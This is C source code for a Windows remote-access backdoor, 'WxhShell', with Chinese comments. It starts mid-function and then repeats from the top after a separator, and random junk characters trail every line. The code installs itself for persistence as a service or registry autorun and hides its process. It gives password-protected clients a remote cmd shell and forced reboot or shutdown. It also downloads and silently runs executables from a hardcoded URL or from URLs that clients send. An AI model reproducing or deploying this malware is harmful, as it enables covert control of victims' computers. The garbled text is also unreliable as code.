    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NK/y,f6  
    else { Yj>4*C9  
    closesocket(wsh); a>W++8t1 ;  
    ExitThread(0); Md@x2Ja  
    } Anu:  
    break; BYMdX J  
    } *#b e  
  // 获取shell @vyEN.K%mm  
  case 's': { ar\|D\0V  
    CmdShell(wsh); d/j?.\  
    closesocket(wsh); >'W,8F  
    ExitThread(0); R:&y@/JY8[  
    break; Z!~_#_Ugl  
  } .Z'NH wCy  
  // 退出 \wsVO"/  
  case 'x': { 2wB *c9~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %L- qAI&V  
    CloseIt(wsh); /CO=!*7fz  
    break; L&)e}"  
    } aVK,( j9u  
  // 离开 mj e9i  
  case 'q': { s|A[HQUtJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e+-#/i*  
    closesocket(wsh); E;s_=j1f  
    WSACleanup(); ^pd7nr~Y  
    exit(1); DJ<+" .v!  
    break; ut\ X{.r7  
        } B!,&{[D  
  } Nv.  
  } (wq8[1Wzup  
#<"od'{U  
  // 提示信息 n nAtXVy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 035jU'  
} keRLai7h  
  } Y)F(-H)  
\ui'~n_t]  
  return; yc?L OW0  
} #J3o~,t<  
\P+^BG!  
// shell模块句柄 p*42 @1,  
int CmdShell(SOCKET sock) ,(Zxd4?y  
{ ; 8DtnnE  
STARTUPINFO si; BRM `/s  
ZeroMemory(&si,sizeof(si)); {g1"{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VFZ?<m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,M?8s2?  
PROCESS_INFORMATION ProcessInfo; u8KQV7E  
char cmdline[]="cmd"; Dt[+HCCY:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G4 :\6fu  
  return 0; [(_,\:L${  
} ,)*[Xa_n  
)uOtQ0  
// 自身启动模式 #GlFm?/6K/  
int StartFromService(void) +em!TO  
{ B-]bhA4|:  
typedef struct !9NF@e'&!  
{ A32Sdr'D  
  DWORD ExitStatus; ?2da6v,t  
  DWORD PebBaseAddress; f!yl&ulKU  
  DWORD AffinityMask; 5j.@)XXe  
  DWORD BasePriority; WHBGhU  
  ULONG UniqueProcessId; .6$=]hdAp  
  ULONG InheritedFromUniqueProcessId; Uv>e :U7;  
}   PROCESS_BASIC_INFORMATION; %i3[x.M  
%.f%Q?P  
PROCNTQSIP NtQueryInformationProcess; |wv+g0]Pg^  
, ~38IIS>_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +`gU{e,p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /{hT3ncb  
[<U=)!Swg  
  HANDLE             hProcess; :Bt,.uN C  
  PROCESS_BASIC_INFORMATION pbi; W[DoQ @q  
eL"'-d+]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~A5NseWCK  
  if(NULL == hInst ) return 0; WgR%mm^  
N".BC|r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U W8yu.`?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u;H^4} OQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !y~nsy:&7x  
* bYU=RS  
  if (!NtQueryInformationProcess) return 0; 2>^(&95M  
]5QXiF8`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^_\m@   
  if(!hProcess) return 0; `lOW7Z}  
^&86VBP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v\8v'EDP  
^.)0O3oC  
  CloseHandle(hProcess); oqh@ (<%  
5<`83; R9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]U'zy+  
if(hProcess==NULL) return 0; (n.IK/:  
iOhX\@&  
HMODULE hMod; Q`'cxx  
char procName[255]; 3=oxT6"k  
unsigned long cbNeeded; *rw6?u9I  
LlgFQfu8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); . G25D  
w=!xTA  
  CloseHandle(hProcess); m?yztm~u  
--"5yGOL  
if(strstr(procName,"services")) return 1; // 以服务启动 [^}bc-9?i  
8$]SvfX  
  return 0; // 注册表启动 _u6N aB  
} Q%q;=a  
hG~.Sc:G  
// 主模块 -a>CF^tH  
int StartWxhshell(LPSTR lpCmdLine) LNR1YC1c  
{ YU6|/ <8  
  SOCKET wsl; hNYO+LrI)  
BOOL val=TRUE; zQ,M795@EA  
  int port=0; I>l^lv&[+  
  struct sockaddr_in door; W f8@ B#^{  
q%q+2P>  
  if(wscfg.ws_autoins) Install(); g}Lm;gs!>  
LqI&1$#  
port=atoi(lpCmdLine); N-2_kjb!  
B f  y  
if(port<=0) port=wscfg.ws_port; =&k[qqxg  
0Cf'\2  
  WSADATA data; /mp!%j~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h {Jio>  
&$2d=q8mh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jPz1W4pk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >#&25,Q  
  door.sin_family = AF_INET; N.Q}.(N0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6 F39'  
  door.sin_port = htons(port); #+_=(J  
iuXXFuh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T zS?WYF  
closesocket(wsl); ,d lq2  
return 1; i9qIaG/  
} l44QB8 9  
4HZXv\$  
  if(listen(wsl,2) == INVALID_SOCKET) { 2 #yDVN$  
closesocket(wsl); N$t<&5 +  
return 1; x;:jF_  
} ep},~tPZn  
  Wxhshell(wsl); V8WSJ=-&  
  WSACleanup(); c+z [4"rYL  
M~`^deU1  
return 0; P~lU`.X}  
`S4*~Xx  
} 3:#6/@wQ  
}.8yKj^p  
// 以NT服务方式启动 \i-CTv6f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -CFy   
{ kzK9 .  
DWORD   status = 0; x%ccNP0  
  DWORD   specificError = 0xfffffff; NLx TiyQy  
fyT|xI`iD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >iG3!Td)y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -@]b7J?`k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6!itr"  
  serviceStatus.dwWin32ExitCode     = 0; ]LxE#R5V  
  serviceStatus.dwServiceSpecificExitCode = 0; Ja&S_'P[  
  serviceStatus.dwCheckPoint       = 0; &M3KJ I0L  
  serviceStatus.dwWaitHint       = 0; yDZm)|<.  
Fkpaou  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W?wt$'  
  if (hServiceStatusHandle==0) return; 8_Uh h5[  
m:0[as=  
status = GetLastError(); 3'i(wI~<[  
  if (status!=NO_ERROR) %LmsywPPp  
{ =6 zK 1Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FVL{KNW~i  
    serviceStatus.dwCheckPoint       = 0; !'[?cEog  
    serviceStatus.dwWaitHint       = 0; ]o=ON95ja  
    serviceStatus.dwWin32ExitCode     = status; fdwP@6eh  
    serviceStatus.dwServiceSpecificExitCode = specificError; +G"YQq'b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |w#~v%w  
    return; QT!>izgc U  
  } +C,/BuG  
0,@^<G8?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Svo\+S  
  serviceStatus.dwCheckPoint       = 0; Val"vUZ  
  serviceStatus.dwWaitHint       = 0; b3 =Z~iLv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [.Fq l+  
} [7 r^fD A  
tq'ri-c&b  
// 处理NT服务事件,比如:启动、停止 2cIbX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1 \aTA,  
{ dXM8iP  
switch(fdwControl) PrfG  
{ 0n kC%j  
case SERVICE_CONTROL_STOP: )'RaMo` 4  
  serviceStatus.dwWin32ExitCode = 0; y4IQa.F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j6k"%QHf  
  serviceStatus.dwCheckPoint   = 0; uH'?Ikx"  
  serviceStatus.dwWaitHint     = 0; 8L_OH  
  { ]i0=3H2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6L\]Ee  
  } zd!%7 UP  
  return; xb0,dZb  
case SERVICE_CONTROL_PAUSE: K*,,j\Q.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ),Yk53G6c  
  break; P?|\Ig1Gk  
case SERVICE_CONTROL_CONTINUE: gzat!>*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3pW4Ul@e  
  break; H-u SdT  
case SERVICE_CONTROL_INTERROGATE: d2gYB qag  
  break; rMjb,2*rC7  
}; 2&]LZ:(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Qe]!$tqfD  
} I 2OQ  
5cU:wc  
// 标准应用程序主函数 =6=:OId  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 's5rl  
{ ~QPTs1Vk8  
B B69U  
// 获取操作系统版本 gdqBT]j  
OsIsNt=GetOsVer(); ]yqE6Lf9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BaIuOZ@,  
}#4Ek8nFR  
  // 从命令行安装 cjg~?R  
  if(strpbrk(lpCmdLine,"iI")) Install(); P,-5af*;  
6P>}7R}  
  // 下载执行文件 =0PGE#d{t  
if(wscfg.ws_downexe) { w >2G@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) srO>l ;Vf/  
  WinExec(wscfg.ws_filenam,SW_HIDE); NR8`nc1~  
} P3 =#<Q.  
lP]Y^Gz  
if(!OsIsNt) { QE)zH)(  
// 如果时win9x,隐藏进程并且设置为注册表启动 I''n1v?N  
HideProc(); m]fUV8U  
StartWxhshell(lpCmdLine); `\;Z&jlpT  
} -+Yark  
else {~Jk(c~I  
  if(StartFromService()) w3>11bE  
  // 以服务方式启动 F$'u`  
  StartServiceCtrlDispatcher(DispatchTable); $Q'z9ghEg  
else f$-n %7  
  // 普通方式启动 55$';gh,9  
  StartWxhshell(lpCmdLine); m F+8Q  
7_)38  
return 0; MY c&  
} (F.w?f4B3  
A9K$:mL<2  
]a~sJz!  
n@;B_Bt7  
=========================================== E7@Gpu,o  
~UO}PI`C  
* O?Yp%5NH  
Q#qfuwz  
u'_}4qhCC;  
}Kp<w,  
" .S/zxf~h  
0}`-vOLd-  
#include <stdio.h> ##xvuLy-6  
#include <string.h> Xa?igbgAwx  
#include <windows.h> em0Y'J  
#include <winsock2.h> kAPSVTH$v  
#include <winsvc.h> 2;:p H3  
#include <urlmon.h> m&xVlS  
]Z6? m  
#pragma comment (lib, "Ws2_32.lib") Zxqlhq/)  
#pragma comment (lib, "urlmon.lib") Dr%wab"yy  
%3#C0%{x  
#define MAX_USER   100 // 最大客户端连接数 hf2bM `d  
#define BUF_SOCK   200 // sock buffer Avi_]h&  
#define KEY_BUFF   255 // 输入 buffer _<sN54  
h\3-8m  
#define REBOOT     0   // 重启 Y2.zT6i  
#define SHUTDOWN   1   // 关机 eXK3W2XF  
.f-=gZ* *  
#define DEF_PORT   5000 // 监听端口 il !B={  
N_iy4W(NU  
#define REG_LEN     16   // 注册表键长度 5<v1v&  
#define SVC_LEN     80   // NT服务名长度 ^5TVm>F@3  
q jc4IW t~  
// 从dll定义API ;l @lA)i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ivq(eKy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6z6\xkr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pXN'vP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?H@<8Ra=3  
*xsBFCRU  
// wxhshell配置信息 p!uB8F  
struct WSCFG { {R@V  
  int ws_port;         // 监听端口 Lkx~>U   
  char ws_passstr[REG_LEN]; // 口令 )qbkKCq/FB  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~v pIy-  
  char ws_regname[REG_LEN]; // 注册表键名 (Ll'j0]k>  
  char ws_svcname[REG_LEN]; // 服务名  @,k5T51m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b$#b+G{y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (y.N-I,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +BL46 Bq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X"_ ^^d-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sHk>ek]2I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名   P3|s}&  
h ka_Fo  
}; a <?~1pWtc  
vFntzN>#  
// default Wxhshell configuration l}VE8-XB  
struct WSCFG wscfg={DEF_PORT, ^4"AWps  
    "xuhuanlingzhe", Q]N&^ E  
    1, =|IlORf<  
    "Wxhshell", E/%"%&`8j  
    "Wxhshell", w@cW`PlF  
            "WxhShell Service", v]F4o1ckk  
    "Wrsky Windows CmdShell Service", t4v'X}7q]  
    "Please Input Your Password: ", Q#SQ@oUzD  
  1, v=lW5%r,'  
  "http://www.wrsky.com/wxhshell.exe", !1=OaOT  
  "Wxhshell.exe" !f52JQyh  
    }; 2 Kjd!~Z$  
;2 &"  
// 消息定义模块 breF,d$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LAf#Rco4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t&{;6MiE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \-;f<%+  
char *msg_ws_ext="\n\rExit."; GVnDN~[  
char *msg_ws_end="\n\rQuit."; 3lpxh_  
char *msg_ws_boot="\n\rReboot..."; 0`c{9gY.  
char *msg_ws_poff="\n\rShutdown..."; x@rQ7K>  
char *msg_ws_down="\n\rSave to "; 4^2>K C_  
(M$>*O3SR  
char *msg_ws_err="\n\rErr!"; ~,1Sw7 rE  
char *msg_ws_ok="\n\rOK!"; R`a~8QVh&5  
([< HFc`  
char ExeFile[MAX_PATH]; $B%KkD  
int nUser = 0; Ta?}n^V?;  
HANDLE handles[MAX_USER]; N2A6C$s  
int OsIsNt; '0q$qN  
*qO) MpG{  
SERVICE_STATUS       serviceStatus; 0,ryy,2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =ejU(1 g  
Yr-SlO>  
// 函数声明 G|1.qHP[F  
int Install(void); XxmWj-=qO  
int Uninstall(void); 4{zy)GE|W  
int DownloadFile(char *sURL, SOCKET wsh); |3,WiK='  
int Boot(int flag); IV. })8  
void HideProc(void); #c@&mus  
int GetOsVer(void); \uPzj_kU6  
int Wxhshell(SOCKET wsl); -]zb3P  
void TalkWithClient(void *cs); nD*iSb*  
int CmdShell(SOCKET sock); uWdF7|PN7  
int StartFromService(void); 04|ZwX$>+  
int StartWxhshell(LPSTR lpCmdLine); pz['o  
/CsP@f_Gw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7<WS@-2I#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~CnnN[g(_  
%mT/y%&:  
// 数据结构和表定义 <L qJg  
SERVICE_TABLE_ENTRY DispatchTable[] = BK%B[f*[OA  
{ Dbn344s  
{wscfg.ws_svcname, NTServiceMain}, ye$_=KARP  
{NULL, NULL} kpn|C 9r  
}; 9Tt%~m^  
[h;I)ug[o(  
// 自我安装 \~%+)a%%  
int Install(void) wX]$xZ!s  
{ [d[w/@  
  char svExeFile[MAX_PATH]; g-d{"ZXd J  
  HKEY key; 63u%=-T%a  
  strcpy(svExeFile,ExeFile); ]}rNxT4<  
T@yQOD7  
// 如果是win9x系统,修改注册表设为自启动 BkXv4|UE  
if(!OsIsNt) { xNOKa*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { . i4aM;Qy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R~oJ-} iYX  
  RegCloseKey(key); IXa~,a H71  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *2a"2o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l6HtZ(  
  RegCloseKey(key); tf6m .  
  return 0; 4}; @QFT*  
    } (cLKhn@  
  } &]n }fq  
} t(*n[7e  
else { 6Oy:5Ps8a  
6;'[v}O^^  
// 如果是NT以上系统,安装为系统服务 P knOeW"j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X|hYZR  
if (schSCManager!=0) LQPQ !):;  
{ R'c dEoy  
  SC_HANDLE schService = CreateService AEyD?^?  
  ( x7zc3%T's  
  schSCManager, ]z^jz#>um&  
  wscfg.ws_svcname, MZh.Xo  
  wscfg.ws_svcdisp, 1 gjaTPwY  
  SERVICE_ALL_ACCESS, %@a;q?/?Nd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %MHL@Nn>e  
  SERVICE_AUTO_START, BNdq=|,+"  
  SERVICE_ERROR_NORMAL, jJiuq#;T3  
  svExeFile, / =6_2t#vA  
  NULL, qco'neR"z  
  NULL, # atq7t X  
  NULL, Ly2,*\7  
  NULL, Y0,{fw<  
  NULL 1sj7]G]`k  
  ); *b) (-#w3  
  if (schService!=0) x&;AY  
  { $mGzJ4&  
  CloseServiceHandle(schService); VX.LL 5  
  CloseServiceHandle(schSCManager); j "<?9/r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &EV%g6  
  strcat(svExeFile,wscfg.ws_svcname); sX~E ~$_g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QZvQ8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _9lMa 7i  
  RegCloseKey(key); ^\gb|LEnK  
  return 0; Cu#n5SF*  
    } 5\quh2Q_  
  } Ro2V-6 /  
  CloseServiceHandle(schSCManager); PM84Z@Y  
} wL),/i&<  
} nzaDO-2!  
Gxe)5,G  
return 1; i`F5  
} ZiuD0#"!  
C%yH}T\s  
// 自我卸载 o4FHR+u<M  
int Uninstall(void) ,byc!P  
{ <<d#  
  HKEY key; AQjv? 4)T  
R5=J:o  
if(!OsIsNt) { yP$esDP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (9%?ik  
  RegDeleteValue(key,wscfg.ws_regname); =_k  
  RegCloseKey(key); bDWL Hdu a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Z#Nh@!+C  
  RegDeleteValue(key,wscfg.ws_regname); 30^q_|l:]  
  RegCloseKey(key); O.Pp*sQ^  
  return 0; ++,I`x+p  
  } A` _dj}UF  
} ;?HP/dZLz  
} _?"y1 L.  
else { y60aJ)rAX  
p)B /(%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J(#6Cld`c  
if (schSCManager!=0) G;cC!x<  
{ O"~[njwkE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n)5t!  
  if (schService!=0) %^lD  
  { Gf.ywqE$Y$  
  if(DeleteService(schService)!=0) { 72~L  ?  
  CloseServiceHandle(schService); F*U(Wl=  
  CloseServiceHandle(schSCManager); }b54O\,  
  return 0; OlyW/hd  
  } Q9OCf"n$  
  CloseServiceHandle(schService); B`eK_'7t  
  } UeFJ5n'x:  
  CloseServiceHandle(schSCManager); &l2xh~L  
} Fya*[)HBo  
} A;rk4)lij  
Rf4K Rhi  
return 1; c9Et Uv~  
} _$$.5?4  
}w4OCN\1  
// 从指定url下载文件 vE(]!CB  
int DownloadFile(char *sURL, SOCKET wsh) /A0_#g:2*#  
{ iqB5h| `  
  HRESULT hr; hGD@v {/  
char seps[]= "/"; *bp09XG  
char *token; *D%w r'!>  
char *file; BmpAH}%T  
char myURL[MAX_PATH]; e]1'D  
char myFILE[MAX_PATH]; o7E|wS  
P,pC Z+H  
strcpy(myURL,sURL); Rnwm6nu  
  token=strtok(myURL,seps); (Nc~l ^a  
  while(token!=NULL) Vc5>I_   
  { L,A+"  
    file=token; -'qVnu  
  token=strtok(NULL,seps); i;{lY1  
  } '/qy_7O  
*CXc{{  
GetCurrentDirectory(MAX_PATH,myFILE); LGuZp?"  
strcat(myFILE, "\\"); }h Wv  p  
strcat(myFILE, file); &u&WP  
  send(wsh,myFILE,strlen(myFILE),0); cy@R i#  
send(wsh,"...",3,0); b|.Cqsb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2R,} j@  
  if(hr==S_OK) ,!Q nh:  
return 0; R4 eu,,J  
else q n-f&R  
return 1; e bp t/q[  
oQ -m  
} "[7-1}l  
mmJnE  
// 系统电源模块 dz+!yE\f$  
int Boot(int flag) RdD>&D$I  
{ `,SL\\%u  
  HANDLE hToken; ,*W~M&n"m  
  TOKEN_PRIVILEGES tkp; RN 4?]8  
*_I`{9~'  
  if(OsIsNt) { |Io:D:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U)f('zD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j"6|$Ze8  
    tkp.PrivilegeCount = 1; #b*4v&<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jC[_uG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q(-&}cY  
if(flag==REBOOT) { 8>WA5:]v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cdkEK  
  return 0;  &ox  
} roc DO8f  
else { ZMlBd}H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OR6vA5J  
  return 0; :z P:4 NW  
} ^BLO}9A{P  
  } 1_S]t[?I/  
  else { nZnqXclzxn  
if(flag==REBOOT) { c=+%][21  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V~*>/2+  
  return 0; (U# ,;  
} G@Z%[YNw  
else { KF#^MEw%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I1m[M?  
  return 0; @P~%4:!Hr  
} dQSO8Jf  
} Pa0W|q#?X  
>ye.rRZd`  
return 1; TaSS) n  
} OWrQKd  
^vM6_=g2E%  
// win9x进程隐藏模块 &,<,!j)Jr  
void HideProc(void) D"aK;_W@h  
{ Htr]_<@  
s9"X.-!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wbF`wi?  
  if ( hKernel != NULL ) er24}G8  
  { gmH`XKi\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |Q)mBvvN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *#>(P  
    FreeLibrary(hKernel); '.z7)n  
  } @2. :fK  
eE'>kP}  
return; r e zp7  
} &&l ZUR,`  
*cM=>3ws/  
// 获取操作系统版本 {1Cnrjw  
int GetOsVer(void) 75p9_)>96  
{ _!zc <&~I  
  OSVERSIONINFO winfo; 7"2BZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )/DN>rU  
  GetVersionEx(&winfo); k0=!%f_G!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WqefH{PB  
  return 1; +o4o!;E)  
  else Wjq9f;  
  return 0; ]Xa]a}[uE  
} ;"IWm<]h;-  
Uv[a ~'  
// 客户端句柄模块 ($`IHKF1.l  
int Wxhshell(SOCKET wsl) _Ycz@Jn  
{ /9kxDbj  
  SOCKET wsh; XdThl  
  struct sockaddr_in client; 7#+Ih-&EQ  
  DWORD myID; ]tu OWR  
M887 Q'HSi  
  while(nUser<MAX_USER) k-3;3Mq  
{ Q8Ek}O\MC  
  int nSize=sizeof(client); 5@1h^w v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *JX$5bZsI  
  if(wsh==INVALID_SOCKET) return 1; &Qda|  
N LpKh1g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l=9D!6 4  
if(handles[nUser]==0) tH;9"z# ~  
  closesocket(wsh); %8I^&~E1  
else 6R^F^<<  
  nUser++; l-W)? d  
  } :I7qw0?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [r>hK ZU2  
 "2%R?  
  return 0; l opl  
} g zi=+oJ|4  
?;](;n#lU  
// 关闭 socket >F^$ ' b]  
void CloseIt(SOCKET wsh) G3|23G.~)(  
{ En7+fQ  
closesocket(wsh); 0^Ldw)C"  
nUser--; ESoqmCJjb:  
ExitThread(0); i#YDdz  
} <H] PP6_g:  
;DX{+Z[  
// 客户端请求句柄 Bn 8&~  
void TalkWithClient(void *cs) !lzj.|7=1  
{ "24d:vf\  
Ay6T*Nu`  
  SOCKET wsh=(SOCKET)cs; 9nQyPb6  
  char pwd[SVC_LEN]; ApSseBhh  
  char cmd[KEY_BUFF]; _:Q^mV=;j  
char chr[1]; }P%gwgPK  
int i,j; $I-iq @  
3F;0a ;[  
  while (nUser < MAX_USER) { `2U,#nZ 4  
V9< E `C  
if(wscfg.ws_passstr) { a9lYX*:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bi fI.2|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7ojh=imY  
  //ZeroMemory(pwd,KEY_BUFF); =3hJti9[  
      i=0; !-qk1+<h  
  while(i<SVC_LEN) { o"RE4s\G~r  
YRZw|H{>t  
  // 设置超时 F ! v01]O  
  fd_set FdRead; p=[dt  
  struct timeval TimeOut; 7Y~5gn  
  FD_ZERO(&FdRead); u* iqwm.  
  FD_SET(wsh,&FdRead); 7>7n|N  
  TimeOut.tv_sec=8; g-#eMQ%J  
  TimeOut.tv_usec=0; QP<P,Bi~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Rq(+zL(f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +>it u J  
;w%g*S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u]B b^[  
  pwd=chr[0]; L  ~Vw`C  
  if(chr[0]==0xd || chr[0]==0xa) { V^qBbk%l>D  
  pwd=0; :/? Op  
  break; J.2BBy  
  } gjT`<CW  
  i++; oIE(`l0l  
    } y'f-4E<  
>Gg[J=7`  
  // 如果是非法用户,关闭 socket aAoAjVNkK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y uZ  
} ocW`sE?EED  
9|>y[i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3H"F~_H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zXGI{P0O  
Q!~1Xc0S`p  
while(1) { -=rGN"(M _  
/s)It  
  ZeroMemory(cmd,KEY_BUFF); 25, [<Ao  
D//58z&  
      // 自动支持客户端 telnet标准   O{]}{Ss  
  j=0; 4b yh,t  
  while(j<KEY_BUFF) { )}w-;HX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2s 9U&  
  cmd[j]=chr[0]; 'uUa|J1mu  
  if(chr[0]==0xa || chr[0]==0xd) { Jz;`L3m  
  cmd[j]=0; V/OW=WCzN  
  break; Jl"DMUy[kW  
  } t@cBuV`9c  
  j++;  :i?c  
    } 3joMtRB>;  
\hzx?  
  // 下载文件 3_VWtGQ  
  if(strstr(cmd,"http://")) { qj*BV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /e*<-a  
  if(DownloadFile(cmd,wsh)) z9#jXC#OdN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d9 8pv%  
  else EjVB\6,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y;9K  
  } 4f0dc\$  
  else { y7*^H  
BYS>"  
    switch(cmd[0]) { 9*|An  
  Ke&fTK  
  // 帮助 ;rF:$37^  
  case '?': { gY=+G6;=<  
